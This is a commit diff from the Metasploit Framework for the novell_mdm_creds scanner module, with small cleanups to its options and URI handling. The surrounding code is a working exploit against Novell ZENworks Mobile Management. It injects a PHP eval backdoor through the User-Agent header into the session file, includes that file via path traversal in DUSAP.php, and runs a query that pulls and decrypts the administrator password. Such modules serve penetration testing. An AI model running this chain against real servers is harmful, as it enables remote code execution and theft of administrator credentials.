Skip to content

Commit ca5155f

Browse files
committed
Final touchup novell_mdm_creds
1 parent a5a3f40 commit ca5155f

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/auxiliary/scanner/http/novell_mdm_creds.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -33,8 +33,7 @@ def initialize
3333
)
3434

3535
register_options([
36-
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
37-
OptInt.new('RPORT', [true, "Default remote port", 80])
36+
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/'])
3837
], self.class)
3938

4039
register_advanced_options([
@@ -48,17 +47,17 @@ def setup_session()
4847
res = send_request_cgi({
4948
'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
5049
'method' => "HEAD",
51-
'uri' => normalize_uri("#{target_uri.path}/download.php"),
50+
'uri' => normalize_uri("#{target_uri.path}", "download.php"),
5251
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
53-
})
52+
})
5453
return sess,cmd
5554
end
5655

5756
def get_creds(session_id,cmd_var)
5857

5958
res = send_request_cgi({
6059
'method' => 'GET',
61-
'uri' => normalize_uri("#{target_uri.path}/DUSAP.php"),
60+
'uri' => normalize_uri("#{target_uri.path}", "DUSAP.php"),
6261
'vars_get' => {
6362
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
6463
cmd_var => '$pass=mdm_ExecuteSQLQuery("SELECT UserName,Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);echo "".$pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"])."";'
@@ -71,11 +70,13 @@ def get_creds(session_id,cmd_var)
7170
def run_host(ip)
7271
print_status("Verifying that Zenworks login page exists at #{ip}")
7372
uri = normalize_uri(target_uri.path)
73+
7474
begin
7575
res = send_request_raw({
7676
'method' => 'GET',
7777
'uri' => uri
78-
})
78+
})
79+
7980
if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
8081
print_status("Found Zenworks MDM, Checking application version")
8182
ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]

0 commit comments

Comments
 (0)